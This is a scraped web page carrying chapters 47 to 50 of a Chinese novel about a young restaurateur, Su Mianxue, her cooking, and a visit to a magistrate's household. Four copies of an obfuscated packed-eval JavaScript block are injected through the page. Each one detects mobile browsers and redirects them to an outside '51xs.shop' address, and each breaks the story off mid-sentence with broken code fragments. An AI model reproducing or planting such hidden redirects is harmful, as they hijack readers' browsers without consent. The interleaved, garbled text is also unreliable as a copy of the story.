;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13202937|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糖都是真金白银才能得到，酒楼不用太好的白糖。 苏眠雪拿铲子挖起一小勺，拿过商贩给得袋子，“徐州来的糖就是要比我们这的好，看得都要更白些。” 商贩说：“是啊，我们徐州盛产甘蔗，拿到这来的都是好的一匹糖，价格也不拿贵的搪塞你们，贵的是从徐州到淮州的盘缠。” 苏眠雪连着装了两个袋子，递过去称重后，一共五斤，五百来文钱。 她接过去，递给边上的琳娘，又拿两个袋子连称两袋，一共十斤白糖，一两银子。 她买得不多，两个商贩吐着烟圈，笑嘻嘻道：“姑娘，刚刚有个来我这买了五十斤白糖，方才送了点糖，还有好多二十斤的。我们一共就带了五百斤来，若是每个人都买点送些，还赚不赚钱啦！” “一路小心呵护，就怕一个不慎进水潮湿不能卖了，好几个夜晚都没睡好。卖完了就要回家啦，赶在下雪前回到徐州，赚银子过个好年！” 板车上的糖所剩不多，商贩又说：“就这一小筐了，卖完就走了。” 五百斤白糖，全部卖完除去路费足以过个好年，还有接下来一年的开销，而商贩赚得也是丰收的钱。 苏眠雪收下白糖，和商贩有一搭没一搭闲聊着，等有其他人来后便离开。 回到后厨，安置好白糖，盯着这些糖看得入神。 为何淮州不能种甘蔗，虽然会有水土差异，但只要找到合适的地，总能种出甘蔗，第一批不行，那就第二批第三批。 她想得轻巧，看着边上的泥土地，拍了下脑袋，甘蔗提炼出来的是红糖，红糖混了黄泥，黄泥吸附糖汁里的杂质和色素，才会有现在的白糖。 颜色不是纯正的白，里头会有黄泥沙掺在里头，但对苏眠雪来说已经足够。 卖糖商连着三日都还在下面，最后一日，白糖已经见底，该买得也都买了，价格未降过，剩下的一些也没打算送人，两个商贩将白糖收好，掀下盖子准备走人。 制作白糖的不单只有甘蔗，还有甜菜根。 苏记的院子里还有一小块地可以腾出来，到集市里的买了甜菜种子，甜菜耐寒，春天播种秋天成熟，夏天播种冬天成熟。 厨子开垦完一小块地，种子倒了一半，随意播撒在里面，浇水埋在底下，避免秋季到冬日里气温转变太大，她拿棉麻、竹子和木板搭建了一个简单的大棚。 她从来没有种过地，还是第一次拿锄头，照着集市里卖种子的大娘给她的方法都做了一遍，手里的种子还有一些，对于她来说，种子能不能长，都只是一次尝试。 能有一次就能有第二次，第三次。 裴攸问起时。 她道：“甘蔗我们这儿没法种，我想试试甜菜根，不一样的方法，我们做了白糖可以自己用，还能拿出去卖。” “总要试一试，万一就成了呢，我从来都是想到了事，就愿意去做得人，或许在别人看来我闲不住，但我一个人在这总要多做一做，给自己一条路。” 47. 栗子糕 甜菜适应能力好，苏眠雪隔三差五看两眼，已经生出了小芽。 宋酌是在发芽的第五天来得，眼下已经换上厚衣，花窗上一夜起早，能见薄薄寒气凝霜，打水洗面一阵冰寒蚀骨，指头被冻得肿了圈，立刻倒了热水进去，将手放在温水里，冻僵的指头才恢复知觉。 用过早膳，将锅里的粥和白面馒头放进蒸笼里，净手后涂抹好手油，长发拿发带束起，留了一个马尾在后面，披上厚披风，轻手轻脚关上门窗。 天色还未亮，需要打着灯笼才能看清脚底下的路。 李大娘送来不少新鲜栗子，欲满楼有卖早茶，比如桂花糕，羊脂韭饼，山药枣泥糕，鲜花饼之类。 都是热乎乎做出来的点心，配一碗清粥下肚，从清晨开始心上嘴上都是满意的。 只有满意了，一天下来也会愉悦。 栗子用清水洗干净，小刀在栗肚上划开十字口，下锅中煮熟，栗子送来不少，她分两批煮熟，在心里算着十分钟左右，叫后边的小二挪开炭火，用筷子来回快速搅拌。 她刀花开得大，栗子壳连着皮炸开，捞出来趁着烫，捏着四边裂开的角，完好无损的栗子就脱壳而出。 早上的糕点都是一起准备，裴攸来时，只和她差了两刻钟的时间，眼下天已经蒙蒙亮，熄了手中的灯笼，足以看清脚下的路。 苏眠雪和几个小二剥完了做栗子糕所需要的栗子，剩下的一锅，尽数留给裴攸。 栗子煮得七八分熟，放舂桶中捣碎，加了糯米粉、蜂蜜和水拌匀，木铲从里头挖出时，质地软绵细腻，填进饼磨拍印，五个小饼滚落下来放在一边。 后来的几份依次添了桂花、牛乳和红豆，一个口味一层，打上不同颜色的带子标记，放进蒸笼蒸熟。 剩下的栗子用来煮粥喝，栗子用手随意掰开，和粳米一块放进锅中，等到咕咚咕咚冒着气儿，拿勺子顺时针搅动，加了些冰糖进去，盖子盖住闷了会，接着拿大勺搅动，最终出锅盛出。 栗子酥烂，粥汤浓稠，加了冰糖有淡淡的甜不会齁口。 栗子糕拿出来的成品色泽酱黄，咬了一口在嘴中，软糯绵密，香甜的气味混在鼻尖，拿出一些摆在门前，小二已经给底下的火炉提前加了热，几个穿得厚重的妇人，和苏盈一块坐在门前皆着热气取暖，吹在脸上红扑扑的，一声声吆喝叫卖。 几文钱一个的糕点卖得很快，镇上很多百姓都是天还未亮就要起来，吃过早饭过去干活，一些在边上的干到一半饿了肚子的，就可以过来买两个糕点垫垫肚子。 能外带，也能在店里配粥一块喝。 离了早点铺子，和只能在店里吃得津味楼相比，苏眠雪也揽下早上的业务。 宋酌只听说过苏记欲满楼的饭菜好吃，今天起早过来，一是想看看牡丹鱼片的菜谱，二是来吃个饭，亲自尝尝这家酒楼的味道。 别人说起的不一定对自己的味，但自己去吃的，指定是满意的。 小二递来菜单，第一眼看新奇，一页页翻着，上面菜品名字都很漂亮，边上有小字大概写着是拿什么菜做得，不用等上菜，就能提前知道自己吃得是什么。 “来你们这的，早上都会点些什么？” “客官，来我们店里的人，都喜欢点这些点心和粥，一般一碗粥配两个饼或三块糕点，保证您早上吃得饱，心情愉快一整日！”小二指着菜单上的几个名字，话锋一转，“现在都十一月了，客官您吃过栗子没？我们店里今天送了许多栗子来，都是山上摘得野栗子，个头不算大，但都香甜软糯，拿来做了栗子糕和栗子粥。” 罗县令之前拿了不少栗子，煮熟的栗子需要剥壳，相比果子类的，栗子这种东西吃起来不够文雅，就都分给了他们。 分的栗子量多又大，拿回去煮了发现不够甜，多吃几个就觉得同嚼蜡般无味。 咬得腮帮子疼，和他在长安吃得一点也不一样。 以至于吃过之后，他以为是这儿不适合种栗子，不然栗子怎么会不甜，干巴巴的噎嗓子。 “那便一碗栗子粥，和一份栗子糕。” “得了！”小二脚底抹油，一溜烟连步子的声音都没踩出来，进了后厨，“一碗栗子粥和三个栗子糕！” 宋酌对感官里的苏眠雪有不少好感，都是提前做好的，他没等多久，粥和糕点上了桌，看起来平平无奇。 在这儿待得久了，吃饭对他来言就是用来饱腹，见过用过太多，苏眠雪的粥和糕点在他看来没多少惊艳。 拿起栗子糕咬一口，口感绵密，栗子的味道很浓，还有栗子原本的颗粒感，很少，少的像是不小心留下的，又正正是这微乎到可以忽略的颗粒，平白给栗子糕多了一层口感上的层次。 他咬了更大的一口，不用嚼，拿舌头抿开，颗粒感比刚刚那一小口要足一些，舌头和口腔相互摸索着，栗子糕甜度刚好，像是栗子本来的甜味。 粥也是一样，单喝粥时，有淡淡的甜味，他特意挑起一块栗子，又香又糯！ 他在淮州吃了三四次栗子，总是没吃到心意的那一个味，不是甜味不够，就不是不够绵软，煮出来硬邦邦的不够好吃。 一碗粥和三块栗子糕很快下肚，又叫小二拿了两块栗子糕。苏眠雪从后厨出来，见到宋酌迎上去，“宋大人，您来了。” 宋酌点头，温和含蓄：“苏姑娘，我今儿是来看看牡丹鱼片的食谱。” 这道菜乃苏来斋的招牌菜，除了御膳，也唯有苏来斋能做这道，秘方从不外传。 这道菜兴起时，有不少店家通过外观的颜色形状来做，故意降下价格，打出和牡丹鱼片的名号，但只要是真正尝过苏来斋的牡丹鱼片，一口就能尝出压根不是这个味。 苏眠雪带他到二楼角落的位置，一个店的食谱都不能外传，里面的独门秘方都影响着酒楼的走向。 有了名头的，那个不是藏着掖着，就怕被人发现了去，对内部的管理也极尽苛刻严格。 拿来的食谱藏了一半，她想了解苏来斋，现在只能依靠宋酌。 宋酌对这道菜也是一知半解，他只吃过，但也没见过这道菜是怎么做得。 赵儒给他的他看过，命人按照上面的方 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212430|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 法做，和真正的牡丹鱼片味道差了些，但也有六分相似。 “宋大人？” 她眉目清秀，不是极具攻击性的，相反站在前面看上一眼，让人感到如沐春风，站在温暖的庭院中，静静观赏着少女芳颜。 “苏姑娘。”食谱是完整的食谱，重点在于苏眠雪隐藏了调料这一块，只有模棱两可的几个字。 宋酌将手里的食谱还给苏眠雪，道：“苏姑娘有什么想问的。” 苏眠雪抬眸：“我想知道苏来斋的东家，姓什么。” “苏来斋的东家——” …… 宋酌对这些身外的人事物都只知道一个大概，能记得名字是因为对方的名气大，说多了让他有印象，更多的，又不关他的事。 知道那么多做什么。 他回了自己的宅子，桌上堆积着不少山水画之类，桌子边上的一个不起眼的，堆在最里头的竹筐中，只有三卷画卷在里面。 宋酌拿起笔，抬首见桌前牡丹，跟那人相衬，有些寡淡。 牡丹红得太烈，苏眠雪又太过清秀。 胜在她似笔下的墨色山水，等待描绘，于笔下墨色绽放。 宋酌下笔时带着不拘一节的豪放，落笔绘成时，又是笔笔温柔，只画出一个背影，在一片橘色的花海中。 画中大片的橘黄色花宋酌叫不出名字。 是牡丹的模样，他又从未见过橘黄色的牡丹。 得到的答案是失望的，苏来斋的东家不姓苏。 墨迹干了，宋酌将画卷好，放在不起的竹筐里，它的命运，跟其他三卷一样，不适合的只能留下印象，印象会随着时间而遗忘。 等到来年，他会拿出来看两眼，等到第二年，他记起来了会拿出来看，回忆一下初次遇到的事。 等到第三年，他或许会拿出来看看，第四年，该堆积在某个角落，只待追忆，再不会有闲情，特意从角落里拿出来。 听说淮州少雪，已是十一月，该落的叶已经光溜溜没了痕迹，除了早起见到的霜，还有吹在耳根上冷冽刺骨的风。 他一个人在这边远的地方，不着半点冬日。 宋酌念故乡里的雪，四处着人打听，才知晓淮州只有到过年的那段日子才会下雪。 …… “雪路滑，阿雪你慢一些，走快了摔疼得是你自个，川州来的驿夫会停整整一日，不用着急。” 今年的淮州下雪早，比往年整整早了半个月。 走过市井巷子，苦零零的树下依旧坐着三两人，手里抱着汤婆子裹紧身上的衣服。 “听说长安今年的雪特别大，比我们这还早了半月！地里的田都被冻硬了，几百下锄头都砸不动！” “你是听哪里说得，长安还有田种啊？” “茶楼里的说书先生哩，我们家里有地，每天都要赶牛车去地里，长安难不成没有地？” “长安，长安当然是没的，长安都是当官的哩！” 苏眠雪缓下步子，转头看裴攸：“我去给大牛哥做饼吃，下午的时候，一起寄过去。” 48. 蜜渍梅花 琳娘摘来新鲜梅花，放在折腰盘中，底下铺了层雪。 “梅树上的雪，干净着，我都一便拿来，等雪水化开，煮茶喝还是煮粥喝，会有梅花的香气。我们家门前的梅树上头挂了果子，不过还没熟，我给摘来，看着玩玩也好。” 苏眠雪拿起放在边上的梅果，她只见过梅花，还没见过梅花长得果子，拿在手里一时觉得新奇。 她记得上面有写梅花的使用方法，拿出食谱翻看，含笑说：“成，待会就拿这做梅粥和蜜渍桃花。外面天气冷，摘花摘果捧雪的活交给裴攸做。” “东家，你使唤人的功夫是越来越内行了，还记得你从心疼我，从不让我干重活累活，下了雨都要把伞给我，现在外边下着雪，竟忍心让我站在雪底下，一边淋雪，一边用手摘花捧雪。”裴攸拿起竹篮，在底下放了一个差不多大的盘子。 手刚伸出去，面受寒风，背靠着暖气，冷热交替夹击，被苏眠雪推了出去。 “一面冷一面热，躺床上也没人理你。果子多摘些回来。” “没关系，有盈儿照顾我，刚好这雪大的，她去了私塾，也去不了绣房。” 琳娘丢给他一把斧子，拿过他手里的竹篮，没好气道：“盈儿是女学生，那是你的丫鬟！不想干就去和阿胜学林搬柴，这么多柴放外面，被雪淋湿了都没法用，也不见你出去帮帮忙。” 裴攸拿过琳娘手里的篮子，立刻焉了尾巴，垂头敛下眼眸伏小做低：“成成成，我嘴贫讨人嫌，外边的雪多冰，琳娘的手可是拿铲子烧菜的，要是有个好歹，影响的是我们酒楼开张，我一个打杂的小二，不给几位打下手，还能做什么。” 这场雪来的突然，人人都没有准备，偏偏它下了一夜，将整个景乡镇都覆盖在白雪之下。 欲满楼后厨边上的小院子堆了不少木材，好在上面有东西折着，除了整个都泡浸水的，一些边边角角的晒过太阳还能接着用。 裴攸之前劈柴，木头没劈几个，拿得时候将自己手给弄伤了，一开始咬着牙也不说，回到家里又开始嗷嗷叫，伸出被辞扎肿的手，要苏盈照顾了他几日。 一日三顿，顿顿馒头配咸菜，在苏盈的照顾下，三天就能下地干活。 景乡镇不大也不能算小，傍晚拿着一把蒲扇，每天挑一条巷子随意走着，走上半个月左邻右舍的巷子、人都熟悉了。 除去紫荆街这两条主干路，随意一走就是市井人家。 盆中的雪化成为水，伶仃梅花飘在盆中。 梅花粥要用雪水和上好的白米煮粥，等粥熟，放梅花同煮。 飘在水中的梅花一一捞出，放置在一旁。 梅花中有杂物，静置后沉在水下，苏眠雪拿木勺从上取水，撇去雪中杂质。白米淘洗干净，和雪水一块放在粥罐中。 琳娘和裴攸带着多得梅花和梅果回来，炉子上的粥罐正冒着热气，梅花粥已经煮上，摘来的梅花和果子放在一边。 梅子都是未成熟的，用盐浸泡片刻，得到白梅肉。白梅肉剥核，舀雪水浸泡，加入梅花发酵，露天放置一夜。 两样都是能够快速完成的，她拖家带口大早上就来酒楼，是为了解决一口早饭吃。 拿了两把梅花放进去，用勺子搅动，接着盖上盖子，小火慢炖留香。 高胜和琳娘来得一向早，两人忙活半天盯着锅里的粥，拿起边上的鲜花饼咬一口，想着要是有东西配着吃就好了。 粥煮好，打开盖子有淡淡梅花幽香，苏眠雪给每人舀一碗，放在红木漆盘上，端到一边不起眼的角落，叫来人，一人一碗分下去，再拿些小菜点心相配。 吃饭间，几人闲聊着，多是一些市井边的小道消息。 其准确度有待参考。 毕竟长安城内还有田种，不都是当官的，还要种田做什么。 就是种田，长安城内会有吗？ 苏眠雪嚼着饼，想了许久，得出答案，城里肯定没有田，要田也是在城外。 “东家，听说太守夫人要来我们县里，好像是陪安王侧妃来，听说侧妃是我们县里出去的，想回来看看。” “你听谁说得。” “路过巷子时，有拨人围在树下，本来我也没在意，但听到太守夫人，侧妃什么的，我就停下听了两句。不听不知道，一听吓一跳，没想到我们县里还出了一个侧妃！” “嗯。”苏眠雪吃完手里的饼，看着桌上还满满当当的点心，一时犯难，该吃什么呢。 刚刚吃了块甜的，现在吃块咸的吧。 鲜肉饼就不错。 下午给大牛哥带一些。 “东家，咱们不准备一下吗？” “准备什么。” “招待太守夫人和安王侧妃啊，留个印象，将来有人来我们店里，说出去都有门面！” “……不必了。”苏眠雪吃完鲜肉饼。 “东家，你真的不多考虑考虑，万一太守夫人和侧妃来了我们这，安王他都青睐赵儒那登了，我们不抓住这次机会，以后还怎么超过津味楼，毕竟和皇家沾边的，都非同小可！” 高胜不死心地劝，怎么能就这样放弃了呢，怎么说也要去竞争一下，怎能还没开始就放弃了！ “你想多了，这种闲话不能多听，听了也不能信，你想想我们这是什么地方，侧妃怎么可能是我们镇上的。要是王爷来过，这不是整个镇都炸了吗！” 高胜：“东家，你也是挺会开玩笑的。我们镇怎么可能会炸呢。” 琳娘敲他：“所以太守夫人和安王侧妃怎么会来我们镇上呢。” “也不是不可能。”高胜嘀咕着。 裴攸收掉碗筷，和苏眠雪一块准备给李大牛送去的点心和衣物。 衣物都是已经收拾好的，之前买得大氅和棉衣，还有暖帽手套一并都塞进去，以免食物的油会浸过布弄脏衣服，里面垫了好几张油纸和棉布。 装食物的袋子里，分为甜的和咸的，还有果蔬蜜饯之类，不少东西装着，将两次的都挤在这一次，东西多得满 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13222068|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 满当当。 苏眠雪还觉得不够，将目光放在汤婆子上，移开目光，落在对着的书上，里面有些诗集。 裴攸眼皮子一跳，宽大的袖子遮住书，扯出笑：“阿雪，你还有什么要带得吗，没有的话，我们现在可以过去了。” 苏眠雪盯得更紧，裴攸也捂得更紧。 “给你半月月给，给大牛哥一本诗集，让他读读书，等将来回来，你们也能聊聊。” 裴攸不愿：“我可以和你聊。”扭扭捏捏不情不愿从里面抽出一本书，“这个，适合他。” 李大牛认识些字，苏眠雪看了几页，诗集下面有注释可以帮助理解。适合李大牛，可以让他慢慢看。 诗集和信夹在一块，放在衣物的最上面，中间隔着打好带子，裴攸背在肩上，和她一块去驿站。 苏眠雪乐在肩上轻松，一路走得轻快，走在一间摊子前，伸手要拿过他肩上的包袱。 包袱很重，一堆饼子糕点，还有冬天的大氅棉衣，压在肩上沉甸甸的，裴攸也不换个动作。 “你付了银子，怎么使唤我都可以。我是为了银子才帮你的，做不好，怕给东家骂。” 裴攸的话打消苏眠雪要自己拿得念头。 他们的关系近了不少，但苏眠雪不喜欢麻烦人，三百五十两银子放在盒子里，小心保存在衣服柜子里的最里边。 她是东家，裴攸是拿月给的小工，给她干活是分内的事。 街道上的雪被扫在一边，苏眠雪过路时，迎来不少人互相打着招呼。 等将包袱给驿站的驿夫，写上自己和对方的名字，再拿走李大牛寄来的包袱，交接的活很快。 这次的包袱也很轻，没什么东西。 “他上次送来不少川州的小玩意，这次就薄薄一张纸。”裴攸走在前头，好奇往她这瞟。 苏眠雪捏着薄薄的信封：“军营里哪来的轻松，能写封信都不错了。” 话落，她皱了下眉心，道出心里疑问：“裴攸，你这些日子出门急，见你每次都在米铺那搬米，是不是记起什么事了，需要银子。” 裴攸这段日子能够看出他缺钱，苏眠雪不过问行踪去，但时间久了心生疑惑，观察几次后，只知道他在赚银子，在景乡镇里好好的，怎会突然开始赚银子。 只能是记起什么事了。 “没有。”裴攸声音轻，即便穿了厚重衣服，站在茫茫雪色中，身形也略显单薄。 束起的长发搭在一边，苏眠雪向前走着，裴攸掩住眼底的情绪。 他没记起任何事，他也不再想自己是什么身份。让他重伤在深山里，能是什么好身份。 他对苏眠雪有依赖，在人生地不熟的地方，在第一面是这个女子收留他的时候，在只能委于一处小镇屋舍中，他能够看见的，只有睁眼第一面的苏眠雪。 他缺银子是真的，他要还清台潇的账。 他想要苏眠雪依靠他一下。 上次的玫瑰不够好，橘色的衣裙很适她。 49. 菌子鸡汤 蜜渍梅花需要第二日才能用，雪天冻耳朵，来往的人依旧没少。 两家酒楼隔着两家店没有来往，暂且是表面上的和平。 高胜说得玩笑话都没当一回事，毕竟邻家的小姑娘第一次来月事，被一个长舌的妇人知晓，在旁人口中越说越乱，越传越离谱。 后来竟成了十三岁的姑娘在家里产下一子，早早毁了清白！ 气得人爹娘拿着棍子追到长舌妇人家里。 这件事在镇上传得沸沸扬扬，路过人群只有耳朵好，步子放慢些，就能听到一人口中不同的版本。 大雪洋洋洒洒连着下了七日，苏眠雪吃着蜜渍梅花，倚在窗前看外边雪色，挂在檐上的冰柱子挂在顶上，小二见窗户上还有冰柱没掰掉，从外边探出头。 给她解释：“早上来喝粥的几位客官就坐在这个位置上，脑袋往外探了下，伸回来的时候带到这棱角，被砸得嗷嗷叫。小的本来本来要给他们掰掉，但窗户离桌子进，一动冰渣子就掉桌上，只能等人走了在掰，上菜一时忘却，没想到东家来这坐了。” 冰棱挂在窗上瞧得好看，天边的太阳升起照得亮晶晶，从别处看也闪着光。 苏眠雪端起盘子换了一个位置，坐在离门不远的地方，瞧着过往的人行和马车。 盘子里的梅肉渐少，屋檐上的雪落在地上积起大滩的水。 昨天晚上从县里回来的，卖杏肉干的姑娘和她说，今儿罗夫人会派人来接她，听说是府里要来贵客，请她去做顿午膳。 眼下离中午只差半个时辰，苏眠雪本在后厨里等，但心里记着罗夫人要来的事，心不在焉，怕人来了自己未准备好，拿钱办事的她还要主家等，这不应该。 坐在这也有好一会，琳娘端来一碗牛肉粉，“该是有什么事耽搁了，你先吃口饭垫垫肚子，等去了那儿再回来只怕要到晚上。” 快到中午，若是罗夫人因为有事才耽搁了她，她一直干等，闲事就会推到后面。 她作为拿银子的，主家可以让她等，但不能她让主家等。 苏眠雪吃了一半牛肉粉，罗夫人带着人亲自来酒楼，见她还在吃粉，坐在她对面，按住她连忙放下筷子的手。 “苏姑娘先吃，原本就是我来晚了，怪不得你。”罗夫人温和一笑。 发间金簪轻晃，一袭狐裘更显贵气端庄，她平日里是极为素雅淡然的人，拉下身上的狐裘，看苏眠雪的目光尤为温和。 苏眠雪一时紧张，嗦粉的速度逐渐文雅，还要时刻顾着粉条里的汤汁。 一碗粉吃得心惊胆跳，琳娘的手艺不错，作为酒楼里的王牌，工钱也是最高的，若是罗夫人没有突然前来，她这碗粉该吃得不错。 漱口净手后，这次来接她的马车要比先前的宽敞气派，估计能坐下七八个人，还不带拥挤的。 比罗县令出行的那辆还要好。 马夫放了一张脚凳，一个侍女掀起帘子，一个侍女扶着罗夫人进马车。 苏眠雪跟在罗夫人后边，等一直跟在罗夫人身边的侍女上来坐稳后，马夫才往前行驶。 马车里头气派着，但苏眠雪不敢动。 原因无他，马车里不单单他们三人，还有一位美妇人和上了年纪，保养得体的年纪稍大的夫人。 罗夫人喊年纪稍大的夫人娘。 “娘，阿芷，这位是欲满楼的东家，苏眠雪姑娘。”罗夫人眼里含着泪花，坐在中间牵着孟夫人和美妇人的手，“苏姑娘，这位我娘，这位是我幼时好友。你的手艺不错，叫你来是想你做顿好菜招待我娘和阿芷，本来昨晚该派人亲自告诉你，但府里出了些事，今天早上又出了点意外，才害你等久。” 唤作阿芷的妇人面上是藏不住的疲惫，厚厚的脂粉遮不住眼底青痕，强打着精神气，见着孟夫人一时间无言，随口道：“苏姑娘瞧着年岁尚小。” “苏姑娘年纪小，本事却不小。我那婆母病了以后，什么也吃不下，后来还多亏了苏姑娘，虽然不在府里给婆母做膳食，但侍女拿了她的粥单子，照着她的方法煮粥，婆母喝了粥，气色都变好了。” 孟夫人：“早就听说亲家病重，还没来得及看看如何，等会儿回去了，我先去看看亲家怎么样。” “蕊儿，别哭了。”孟夫人抹去她面上的泪，“他当初对你就好，住在我们家，受过你爹的恩惠，你们是青梅竹马，你嫁了他这样的好儿郎娘是真心高兴。天底下多少人是蒙着一块红布，出嫁前都是未见过的，你嫁得好歹是知根知底的，现在虽然是个县令，等再过两年，皇上把他调回去。” 拉住孟夫人的那只手慢慢松懈，罗夫人将脸撇在一旁，抽回放在孟夫人那的手，抹去脸上的泪花：“他自然是好的很。” “你这！阿芷不也是这样一路走过来的，现在当了太守夫人，你怎就只能同甘，不能共苦呢？” 罗夫人紧闭着唇，阿芷出声：“伯母。” 阿芷顾了一圈，愤愤将气吞下。 马车内一路无声，苏眠雪和几个侍女屏住呼吸，坐马车镇上到县里的路并不长，气氛太过压抑，罗夫人生着气，和孟夫人犟着谁也不低头，等到罗府，先是阿芷、罗夫人和孟夫人，最后才是苏眠雪和侍女。 林婆子在府门前等她，苏眠雪下来后，引着她去厨房。 厨房不在松亭院，是几房通用的，要比松亭院的大，货架上摆得也是琳琅满目，食材很足。 “姑娘，这两位是给您打下手的厨娘，您有什么需要的尽管使唤他们，我在外面等您。”林婆子退到外面，将厨房留给苏眠雪。 厨房里不单只有她们，罗县令几房妾室都要来这拿菜，不过给苏眠雪留得位置很大，她边上一圈都是空的。 她逛了一圈，问跟在她后边的厨娘：“这些菜都是给夫人准备的。” 一人站出来答：“不是，这两个厨子专门给老爷和贾姨娘备菜。”想了想，又说，“我们四个姐妹是给夫人、少爷小姐、其他几位姨娘备菜。” 三人中的阿芷身份最高，乃太守夫人。 太守的官职不低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13268209|130063||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，罗夫人和阿芷是好友。 她看了眼剩下两位厨娘备得菜，心下有了答案。 以前是关系好的姐妹，只用看父亲的地位身份，所以差距不大。现在不同，一个是太守夫人，一个县令夫人，官位就像一道分水岭，她可以说自己的日子有多难，但在好友面前，有了云泥之别的好友前，她依旧有着自己的面子。 罗夫人在府里不顺心，罗县令官俸低微，还要拿贾家的银两挥霍。 贾姨娘的厨子用不安心，索性找来苏眠雪，小姑娘勤劳能干，只做好自己分内的事，关键干事也有自己的一套原则，拿银子挖不走。 有孟夫人在要家常一些，三个人她打算做五菜一汤。 香菇和菌子拿水泡下，鸡肉是已经处理好的，拿水清洗一遍，拿刀斩成段，用盐水浸泡。 货架上的橙子又黄又大，厨娘道：“大少爷曾在冬日里偶感咳疾，大夫说可以在橙子上切口，倒盐蒸熟来止咳，所以每年冬日厨房里都会备着。” 她拿三个橙子，顶部切开截下，将里面内穰挖出，留些橙汁在里面。三只蟹交给两位厨娘，洗干净后截成四瓣剥壳，拿小刀从上到下将肉剜出来，蟹肉和蟹膏填在三个大小相等的橙子里，浇黄酒、醋、水，橙子上头的被切去的盖子盖上，放入甑中蒸熟，醋和盐做调料。 两个厨娘在边上一时帮不上忙，一人将鲈鱼改刀放葱姜料酒盐，苏眠雪又在里面加了胡椒粉，要她抹匀腌制，一人洗了藕和青菜，都放在一边。 这些菜都是苏眠雪拿起来看过的，两人揣摩她的意思来准备，苏眠雪也在愁做些什么，既然备好菜，她就顺着做。 热锅下油后，下姜片和鸡肉炒干水分，和香锅菌子一块倒入砂锅，加水炖煮，其中的时间够做两道素菜。 一道清炒藕片，一道白灼菜心。 腌制好的鱼肉铺在盘子上，撒些姜丝，和嘴里塞些，水开蒸熟，命厨娘将姜丝挑出，在鱼肉上放新鲜青花椒和姜，挑好的料汁，最后淋上热油。 她自己则顾着一锅菌子鸡汤，加红枣接着炖煮，最后加盐调味盛出锅。 五道菜放在托盘上，林婆子和四位厨娘一人端着一道菜，苏眠雪走在林婆子边上，放在桌上，轻声道：“夫人和太守夫人在里边。” 罗夫人的院子一眼见到头，隔着一层屏风，五人轻手轻脚离开，屏风那边有细碎的哭声。 小院子静谧，碍不住边上那屋的打骂声陆续而来，三个人女人挤在一块大院子上，罗夫人因是正头夫人得了一处被划分的小院，两个孩子年纪还小，板正地端坐在椅子上。 大一些的姑娘见着她，弯着两个月牙儿：“苏姐姐好。娘，苏姐姐来了！” 里头止住哭声，没过一会，罗夫人走前面先出来，见桌上的菜轻点了下头，“林婆子呢，让她带你去管家那吧。” 不咸不淡的语气，听不出里面喜怒，苏眠雪心思细腻，虽是垂着眼，但留了几分余光观察，罗夫人眼中一晃而过的失望，告诉她不满意今天的菜。 50. 拨霞供 “这是蟹酿橙？” 橙肉芬芳酸甜，摘去顶上的盖子，橙子的腹腔里头满满都是蟹肉。冬天不是吃蟹的时候，但这橙子里头的蟹看得膏黄肉多，显然是十足的美味。 阿芷轻轻看了眼罗夫人，坐在右边的位置，舀了三碗鸡汤，金灿灿的，里面还有菌子和香菇提鲜，单单这么搅着，就有股香甜味引诱，迫不及待去品尝的冲动。 鱼肉的做法瞧得就新奇，上面放了一串青花椒，阿芷拉住罗夫人：“快坐。” 罗夫人落坐在一边，扫过一圈后，桌上没有菠萝咕咾肉、芙蓉肉、牡丹鱼片这类她不大满意。 昔日好友是四品太守夫人，自己只是个七品官的夫人，对方小两口恩爱体贴，妾室本分，什么都不用操劳。而自己的丈夫，宠妾灭妻不思进取，在一个边陲小县当个无人授经的县令，每月拿点镇上富商给得银子就够过日。 不是她不想比，而是落差太大。 几年苦涩只有自己知晓，好歹这么多年还能有个给她诉苦，帮她顺气的人。 不是嫉妒，是恨老天为什么要给她这么一个安排，戏谑她，玩弄她，半年也不会踏进她这院子，每次看见她就嫌古板。 要她去学贾姨娘还有花楼里那等下三九流的，才能挽回丈夫的心，她才不干。 